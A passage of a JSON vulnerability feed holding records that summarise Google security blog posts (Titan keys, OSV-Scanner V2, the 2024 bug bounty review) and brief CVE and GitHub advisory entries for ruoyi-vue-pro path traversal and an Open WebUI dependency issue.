conclusions.","publishedAt":"2025-03-27T20:49:00.000Z","updatedAt":"2025-03-27T20:49:41.552Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: New security requirements adopted by HTTPS certificate industry","url":"https://security.googleblog.com/2025/03/new-security-requirements-adopted-by.html","type":"primary","publishedAt":"2025-03-27T20:49:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-titan-security-keys-now-available-in-c29dcd71fea7","cveId":null,"aliases":[],"kind":"advisory","title":"Titan Security Keys now available in more countries","summary":"Posted by Christiaan Brand, Group Product Manager \n\n We’re excited to announce that starting today, Titan Security Keys are available for purchase in more than 10 new countries: \n\n Ireland \n\n Portugal \n\n The Netherlands \n\n Denmark \n\n Norway \n\n Sweden \n\n Finland \n\n Australia \n\n New Zealand \n\n Singapore \n\n Puerto Rico \n\n This expansion means Titan Security Keys are now available in 22 markets, including previously announced countries like Austria, Belgium, Canada, France, Germany, Italy, Japan, Spain, Switzerland, the UK, and the US. \n\n What is a Titan Security Key? \n\n A Titan Security Key is a small, physical device that you can use to verify your identity when you sign in to your Google Account. It’s like a second password that’s much harder for cybercriminals to steal. \n\n Titan Security Keys allow you to store your passkeys on a strong, purpose-built device that can help protect you against phishing and other online attacks. They’re easy to use and work with a wide range of devices and services as they’re compatible with the FIDO2 standard. \n\n How do I use a Titan Security Key? \n\n To use a Titan Security Key, you simply plug it into your computer’s USB port or tap it to your device using NFC. When you’re asked to verify your identity, you’ll just need to tap the button on the key. \n\n Where can I buy a Titan Security Key? \n\n You can buy Titan Security Keys on the Google Store . \n\n We’re committed to making our products available to as many people as possible and we hope this expansion will help more people stay safe online.","detail":"Posted by Christiaan Brand, Group Product Manager \n\n We’re excited to announce that starting today, Titan Security Keys are available for purchase in more than 10 new countries: \n\n Ireland \n\n Portugal \n\n The Netherlands \n\n Denmark \n\n Norway \n\n Sweden \n\n Finland \n\n Australia \n\n New Zealand \n\n Singapore \n\n Puerto Rico \n\n This expansion means Titan Security Keys are now available in 22 markets, including previously announced countries like Austria, Belgium, Canada, France, Germany, Italy, Japan, Spain, Switzerland, the UK, and the US. \n\n What is a Titan Security Key? \n\n A Titan Security Key is a small, physical device that you can use to verify your identity when you sign in to your Google Account. It’s like a second password that’s much harder for cybercriminals to steal. \n\n Titan Security Keys allow you to store your passkeys on a strong, purpose-built device that can help protect you against phishing and other online attacks. They’re easy to use and work with a wide range of devices and services as they’re compatible with the FIDO2 standard. \n\n How do I use a Titan Security Key? \n\n To use a Titan Security Key, you simply plug it into your computer’s USB port or tap it to your device using NFC. When you’re asked to verify your identity, you’ll just need to tap the button on the key. \n\n Where can I buy a Titan Security Key? \n\n You can buy Titan Security Keys on the Google Store . \n\n We’re committed to making our products available to as many people as possible and we hope this expansion will help more people stay safe online.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-03-26T17:00:00.000Z","updatedAt":"2025-03-26T17:00:12.123Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Titan Security Keys now available in more countries","url":"https://security.googleblog.com/2025/03/titan-security-keys-now-available-in.html","type":"primary","publishedAt":"2025-03-26T17:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2708","cveId":"CVE-2025-2708","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload...","summary":"A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload Interface. Such manipulation of the argument path leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The name of the patch is 4ae3f6b2c9883978837638c14e3d18419819eeb0. Applying a patch is advised to resolve this issue.","detail":"A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload Interface. Such manipulation of the argument path leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The name of the patch is 4ae3f6b2c9883978837638c14e3d18419819eeb0. Applying a patch is advised to resolve this issue.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2025-03-24T20:15:18.950Z","updatedAt":"2026-10-26T17:17:11.440Z","regions":["Global"],"vendor":"iocoder","product":"ruoyi-vue-pro","stacks":["Iocoder","ruoyi-vue-pro"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-2708","asOf":"2026-10-26T17:17:11.440Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-2708","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-2708","type":"primary","publishedAt":"2025-03-24T20:15:18.950Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2707","cveId":"CVE-2025-2707","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store...","summary":"A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store Interface. This manipulation of the argument path causes path traversal. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 4ae3f6b2c9883978837638c14e3d18419819eeb0. It is recommended to apply a patch to fix this issue.","detail":"A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store Interface. This manipulation of the argument path causes path traversal. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 4ae3f6b2c9883978837638c14e3d18419819eeb0. It is recommended to apply a patch to fix this issue.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2025-03-24T19:15:50.963Z","updatedAt":"2026-10-26T17:17:11.203Z","regions":["Global"],"vendor":"iocoder","product":"ruoyi-vue-pro","stacks":["Iocoder","ruoyi-vue-pro"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-2707","asOf":"2026-10-26T17:17:11.203Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-2707","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-2707","type":"primary","publishedAt":"2025-03-24T19:15:50.963Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-w466-2wfc-8g58","cveId":null,"aliases":[],"kind":"vulnerability","title":"Open WebUI has vulnerable dependency on starlette via fastapi","summary":"In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3.","detail":"In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3.\n\nAffected package ranges reported by GitHub:\nopen-webui: < 0.5.8","action":"GitHub lists first patched versions: open-webui: 0.5.8. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2025-03-20T12:32:44.000Z","updatedAt":"2026-10-26T15:12:32.000Z","regions":["Global"],"vendor":null,"product":"open-webui","stacks":["Python packages (PyPI)","open-webui","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-w466-2wfc-8g58","asOf":"2026-10-26T15:12:32.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-w466-2wfc-8g58","url":"https://github.com/advisories/GHSA-w466-2wfc-8g58","type":"primary","publishedAt":"2025-03-20T12:32:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-w466-2wfc-8g58, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"google-security-announcing-osv-scanner-v2-vulnerability-25b7a8fe3cbd","cveId":null,"aliases":[],"kind":"advisory","title":"Announcing OSV-Scanner V2: Vulnerability scanner and remediation tool for open source","summary":"Posted by Rex Pan and Xueqin Cui, Google Open Source Security Team \n\n In December 2022, we released the open source OSV-Scanner tool, and earlier this year, we open sourced OSV-SCALIBR . OSV-Scanner and OSV-SCALIBR, together with OSV.dev are components of an open platform for managing vulnerability metadata and enabling simple and accurate matching and remediation of known vulnerabilities. Our goal is to simplify and streamline vulnerability management for developers and security teams alike. \n\n Today, we're thrilled to announce the launch of OSV-Scanner V2.0.0, following the announcement of the beta version . This V2 release builds upon the foundation we laid with OSV-SCALIBR and adds significant new capabilities to OSV-Scanner, making it a comprehensive vulnerability scanner and remediation tool with broad support for formats and ecosystems. \n\n What’s new \n\n Enhanced Dependency Extraction with OSV-SCALIBR \n\n This release represents the first major integration of OSV-SCALIBR features into OSV-Scanner, which is now the official command-line code and container scanning tool for the OSV-SCALIBR library. This integration also expanded our support for the kinds of dependencies we can extract from projects and containers: \n\n Source manifests and lockfiles: \n\n .NET: deps.json \n\n Python: uv.lock \n\n JavaScript: bun.lock \n\n Haskell: cabal.project.freeze, stack.yaml.lock \n\n Artifacts: \n\n Node modules \n\n Python wheels \n\n Java uber jars \n\n Go binaries \n\n Layer and base image-aware container scanning \n\n Previously, OSV-Scanner focused on scanning of source repositories and language package manifests and lockfiles. OSV-Scanner V2 adds support for comprehensive, layer-aware scanning for Debian, Ubuntu, and Alpine container images. OSV-Scanner can now analyze container images to provide: \n\n Layers where a package was first introduced \n\n Layer history and commands \n\n Base images the image is based on (leveraging a new experimental API provided by deps.dev). \n\n OS/Distro the containe","detail":"Posted by Rex Pan and Xueqin Cui, Google Open Source Security Team \n\n In December 2022, we released the open source OSV-Scanner tool, and earlier this year, we open sourced OSV-SCALIBR . OSV-Scanner and OSV-SCALIBR, together with OSV.dev are components of an open platform for managing vulnerability metadata and enabling simple and accurate matching and remediation of known vulnerabilities. Our goal is to simplify and streamline vulnerability management for developers and security teams alike. \n\n Today, we're thrilled to announce the launch of OSV-Scanner V2.0.0, following the announcement of the beta version . This V2 release builds upon the foundation we laid with OSV-SCALIBR and adds significant new capabilities to OSV-Scanner, making it a comprehensive vulnerability scanner and remediation tool with broad support for formats and ecosystems. \n\n What’s new \n\n Enhanced Dependency Extraction with OSV-SCALIBR \n\n This release represents the first major integration of OSV-SCALIBR features into OSV-Scanner, which is now the official command-line code and container scanning tool for the OSV-SCALIBR library. This integration also expanded our support for the kinds of dependencies we can extract from projects and containers: \n\n Source manifests and lockfiles: \n\n .NET: deps.json \n\n Python: uv.lock \n\n JavaScript: bun.lock \n\n Haskell: cabal.project.freeze, stack.yaml.lock \n\n Artifacts: \n\n Node modules \n\n Python wheels \n\n Java uber jars \n\n Go binaries \n\n Layer and base image-aware container scanning \n\n Previously, OSV-Scanner focused on scanning of source repositories and language package manifests and lockfiles. OSV-Scanner V2 adds support for comprehensive, layer-aware scanning for Debian, Ubuntu, and Alpine container images. OSV-Scanner can now analyze container images to provide: \n\n Layers where a package was first introduced \n\n Layer history and commands \n\n Base images the image is based on (leveraging a new experimental API provided by deps.dev). \n\n OS/Distro the container is running on \n\n Filtering of vulnerabilities that are unlikely to impact your container image \n\n This layer analysis currently supports the following OSes and languages: \n\n Distro Support: \n\n Alpine OS \n\n Debian \n\n Ubuntu \n\n Language Artifacts Support: \n\n Go \n\n Java \n\n Node \n\n Python \n\n Interactive HTML output \n\n Presenting vulnerability scan information in a clear and actionable way is difficult, particularly in the context of container scanning. To address this, we built a new interactive local HTML output format. This provides more interactivity and information compared to terminal only outputs, including: \n\n Severity breakdown \n\n Package and ID filtering \n\n Vulnerability importance filtering \n\n Full vulnerability advisory entries \n\n And additionally for container image scanning: \n\n Layer filtering \n\n Image layer information \n\n Base image identification \n\n Illustration of HTML output for container image scanning \n\n Guided remediation for Maven pom.xml \n\n Last year we released a feature called guided remediation for npm , which streamlines vulnerability management by intelligently suggesting prioritized, targeted upgrades and offering flexible strategies. This ultimately maximizes security improvements while minimizing disruption. We have now expanded this feature to Java through support for Maven pom.xml. \n\n With guided remediation support for Maven, you can remediate vulnerabilities in both direct and transitive dependencies through direct version updates or overriding versions through dependency management. \n\n We’ve introduced a few new things for our Maven support: \n\n A new remediation strategy override. \n\n Support for reading and writing pom.xml files, including writing changes to local parent pom files. We leverage OSV-Scalibr for Maven transitive dependency extraction. \n\n A private registry can be specified to fetch Maven metadata. \n\n A new experimental subcommend to update all your dependencies in pom.xml to the latest version. \n\n We also introduced machine readable output for guided remediation that makes it easier to integrate guided remediation into your workflow. \n\n What’s next? \n\n We have exciting plans for the remainder of the year, including: \n\n Continued OSV-SCALIBR Convergence: We will continue to converge OSV-Scanner and OSV-SCALIBR to bring OSV-SCALIBR’s functionality to OSV-Scanner’s CLI interface. \n\n Expanded Ecosystem Support: We'll expand the number of ecosystems we support across all the features currently in OSV-Scanner, including more languages for guided remediation, OS advisories for container scanning, and more general lockfile support for source code scanning. \n\n Full Filesystem Accountability for Containers: Another goal of osv-scanner is to give you the ability to know and account for every single file on your container image, including sideloaded binaries downloaded from the internet. \n\n Reachability Analysis: We're working on integrating reachability analysis to provide deeper insights into the potential impact of vulnerabilities. \n\n VEX Support: We're planning to add support for Vulnerability Exchange (VEX) to facilitate better communication and collaboration around vulnerability information. \n\n Try OSV-Scanner V2 \n\n You can try V2.0.0 and contribute to its ongoing development by checking out OSV-Scanner or the OSV-SCALIBR repository. We welcome your feedback and contributions as we continue to improve the platform and make vulnerability management easier for everyone. \n\n If you have any questions or if you would like to contribute, don't hesitate to reach out to us at osv-discuss@google.com, or post an issue in our issue tracker .\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-03-17T16:46:00.000Z","updatedAt":"2025-03-17T16:47:25.782Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Announcing OSV-Scanner V2: Vulnerability scanner and remediation tool for open source","url":"https://security.googleblog.com/2025/03/announcing-osv-scanner-v2-vulnerability.html","type":"primary","publishedAt":"2025-03-17T16:46:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-vulnerability-reward-program-2024-in-c600d1a2a894","cveId":null,"aliases":[],"kind":"advisory","title":"Vulnerability Reward Program: 2024 in Review","summary":"Posted by Dirk Göhmann \n\n In 2024, our Vulnerability Reward Program confirmed the ongoing value of engaging with the security research community to make Google and its products safer. This was evident as we awarded just shy of $12 million to over 600 researchers based in countries around the globe across all of our programs. \n\n Vulnerability Reward Program 2024 in Numbers \n\n You can learn about who’s reporting to the Vulnerability Reward Program via our Leaderboard – and find out more about our youngest security researchers who’ve recently joined the ranks of Google bug hunters. \n\n VRP Highlights in 2024 \n\n In 2024 we made a series of changes and improvements coming to our vulnerability reward programs and related initiatives: \n\n The Google VRP revamped its reward structure , bumping rewards up to a maximum of $151,515, the Mobile VRP is now offering up to $300,000 for critical vulnerabilities in top-tier apps, Cloud VRP has a top-tier award of up $151,51 5 , and Chrome awards now peak at $250,000 (see the below section on Chrome for details). \n\n We rolled out InternetCTF – to get rewarded, discover novel code execution vulnerabilities in open source and provide Tsunami plugin patches for them. \n\n The Abuse VRP saw a 40% YoY increase in payouts – we received over 250 valid bugs targeting abuse and misuse issues in Google products, resulting in over $290,000 in rewards. \n\n To improve the payment process for rewards going to bug hunters, we introduced Bugcrowd as an additional payment option on bughunters.google.com alongside the existing standard Google payment option. \n\n We hosted two editions of bugSWAT for training, skill sharing, and, of course, some live hacking – in August, we had 16 bug hunters in attendance in Las Vegas, and in October, as part of our annual security conference ESCAL8 in Malaga, Spain , we welcomed 40 of our top researchers. Between these two events, our bug hunters were rewarded $370,000 (and plenty of swag). \n\n We doubled down on our commit","detail":"Posted by Dirk Göhmann \n\n In 2024, our Vulnerability Reward Program confirmed the ongoing value of engaging with the security research community to make Google and its products safer. This was evident as we awarded just shy of $12 million to over 600 researchers based in countries around the globe across all of our programs. \n\n Vulnerability Reward Program 2024 in Numbers \n\n You can learn about who’s reporting to the Vulnerability Reward Program via our Leaderboard – and find out more about our youngest security researchers who’ve recently joined the ranks of Google bug hunters. \n\n VRP Highlights in 2024 \n\n In 2024 we made a series of changes and improvements coming to our vulnerability reward programs and related initiatives: \n\n The Google VRP revamped its reward structure , bumping rewards up to a maximum of $151,515, the Mobile VRP is now offering up to $300,000 for critical vulnerabilities in top-tier apps, Cloud VRP has a top-tier award of up $151,51 5 , and Chrome awards now peak at $250,000 (see the below section on Chrome for details). \n\n We rolled out InternetCTF – to get rewarded, discover novel code execution vulnerabilities in open source and provide Tsunami plugin patches for them. \n\n The Abuse VRP saw a 40% YoY increase in payouts – we received over 250 valid bugs targeting abuse and misuse issues in Google products, resulting in over $290,000 in rewards. \n\n To improve the payment process for rewards going to bug hunters, we introduced Bugcrowd as an additional payment option on bughunters.google.com alongside the existing standard Google payment option. \n\n We hosted two editions of bugSWAT for training, skill sharing, and, of course, some live hacking – in August, we had 16 bug hunters in attendance in Las Vegas, and in October, as part of our annual security conference ESCAL8 in Malaga, Spain , we welcomed 40 of our top researchers. Between these two events, our bug hunters were rewarded $370,000 (and plenty of swag). \n\n We doubled down on our commitment to support the next generation of security engineers by hosting four init.g workshops ( Las Vegas , São Paulo , Paris , and Malaga ). Follow the Google VRP channel on X to stay tuned on future events. \n\n More detailed updates on selected programs are shared in the following sections. \n\n Android and Google Devices \n\n In 2024, the Android and Google Devices Security Reward Program and the Google Mobile Vulnerability Reward Program, both part of the broader Google Bug Hunters program, continued their mission to fortify the Android ecosystem, achieving new heights in both impact and severity. We awarded over $3.3 million in rewards to researchers who demonstrated exceptional skill in uncovering critical vulnerabilities within Android and Google mobile applications. \n\n The above numbers mark a significant change compared to previous years. Although we saw an 8% decrease in the total number of submissions, there was a 2% increase in the number of critical and high vulnerabilities. In other words, fewer researchers are submitting fewer, but more impactful bugs, and are citing the improved security posture of the Android operating system as the central challenge. This showcases the program's sustained success in hardening Android. \n\n This year, we had a heightened focus on Android Automotive OS and WearOS, bringing actual automotive devices to multiple live hacking events and conferences. At ESCAL8, we hosted a live-hacking challenge focused on Pixel devices, resulting in over $75,000 in rewards in one weekend, and the discovery of several memory safety vulnerabilities. To facilitate learning, we launched a new Android hacking course in collaboration with external security researchers, focused on mobile app security, designed for newcomers and veterans alike. Stay tuned for more. \n\n We extend our deepest gratitude to the dedicated researchers who make the Android ecosystem safer. We're proud to work with you! Special thanks to Zinuo Han (@ele7enxxh ) for their expertise in Bluetooth security, blunt ( @blunt_qian ) for holding the record for the most valid reports submitted to the Google Play Security Reward Program, and WANG,YONG ( @ThomasKing2014 ) for groundbreaking research on rooting Android devices with kernel MTE enabled. We also appreciate all researchers who participated in last year's bugSWAT event in Málaga. Your contributions are invaluable! \n\n Chrome \n\n Chrome did some remodeling in 2024 as we updated our reward amounts and structure to incentivize deeper research . For example, we increased our maximum reward for a single issue to $250,000 for demonstrating RCE in the browser or other non-sandboxed process, and more if done directly without requiring a renderer compromise. \n\n In 2024, UAF mitigation MiraclePtr was fully launched across all platforms, and a year after the initial launch, MiraclePtr-protected bugs are no longer being considered exploitable security bugs. In tandem, we increased the MiraclePtr Bypass Reward to $250,128. Between April and November, we also launched the first and second iterations of the V8 Sandbox Bypass Rewards as part of the progression towards the V8 sandbox, eventually becoming a security boundary in Chrome. \n\n We received 337 reports of unique, valid security bugs in Chrome during 2024, and awarded 137 Chrome VRP researchers $3.4 million in total. The highest single reward of 2024 was $100,115 and was awarded to Mickey for their report of a MiraclePtr Bypass after MiraclePtr was initially enabled across most platforms in Chrome M115 in 2023. We rounded out the year by announcing the top 20 Chrome VRP researchers for 2024 , all of whom were gifted new Chrome VRP swag, featuring our new Chrome VRP mascot, Bug . \n\n Cloud VRP \n\n The Cloud VRP launched in October as a Cloud-focused vulnerability reward program dedicated to Google Cloud products and services. As part of the launch, we also updated our product tiering and improved our reward structure to better align our reports with their impact on Google Cloud. This resulted in over 150 Google Cloud products coming under the top two reward tiers, enabling better rewards for our Cloud researchers and a more secure cloud. \n\n Since its launch, Google Cloud VRP triaged over 400 reports and filed over 200 unique security vulnerabilities for Google Cloud products and services leading to over $500,000 in researcher rewards. \n\n Our highlight last year was launching at the bugSWAT event in Málaga where we got to meet many of our amazing researchers who make our program so successful! The overwhelming positive feedback from the researcher community continues to propel us to mature Google Cloud VRP further this year. Stay tuned for some exciting announcements! \n\n Generative AI \n\n We’re celebrating an exciting first year of AI bug bounties. We received over 150 bug reports – over $55,000 in rewards so far – with one-in-six leading to key improvements. \n\n We also ran a bugSWAT live-hacking event targeting LLM products and received 35 reports, totaling more than $87,000 – including issues like “ Hacking Google Bard - From Prompt Injection to Data Exfiltration ” and “ We Hacked Google A.I. for $50,000 ”. \n\n Keep an eye on Gen AI in 2025 as we focus on expanding scope and sharing additional ways for our researcher community to contribute. \n\n Looking Forward to 2025 \n\n In 2025, we will be celebrating 15 years of VRP at Google, during which we have remained fully committed to fostering collaboration, innovation, and transparency with the security community, and will continue to do so in the future. Our goal remains to stay ahead of emerging threats, adapt to evolving technologies, and continue to strengthen the security posture of Google’s products and services. \n\n We want to send a huge thank you to our bug hunter community for helping us make Google products and platforms more safe and secure for our users around the world – and invite researchers not yet engaged with the Vulnerability Reward Program to join us in","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-03-07T19:09:00.000Z","updatedAt":"2025-03-11T17:52:54.341Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Vulnerability Reward Program: 2024 in Review","url":"https://security.googleblog.com/2025/03/vulnerability-reward-program-2024-in.html","type":"primary","publishedAt":"2025-03-07T19:09:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-securing-tomorrows-software-need-for-8951c82e6796","cveId":null,"aliases":[],"kind":"advisory","title":"Securing tomorrow's software: the need for memory safety standards","summary":"Posted by Alex Rebert, Security Foundations, Ben Laurie, Research, Murali Vijayaraghavan, Research and Alex Richardson, Silicon \n\n For decades, memory safety vulnerabilities have been at the center of various security incidents across the industry, eroding trust in technology and costing billions . Traditional approaches, like code auditing, fuzzing, and exploit mitigations – while helpful – haven't been enough to stem the tide, while incurring an increasingly high cost. \n\n In this blog post, we are calling for a fundamental shift: a collective commitment to finally eliminate this class of vulnerabilities, anchored on secure-by-design practices – not just for ourselves but for the generations that follow. \n\n The shift we are calling for is reinforced by a recent ACM article calling to standardize memory safety we took part in releasing with academic and industry partners. It's a recognition that the lack of memory safety is no longer a niche technical problem but a societal one, impacting everything from national security to personal privacy. \n\n The standardization opportunity \n\n Over the past decade, a confluence of 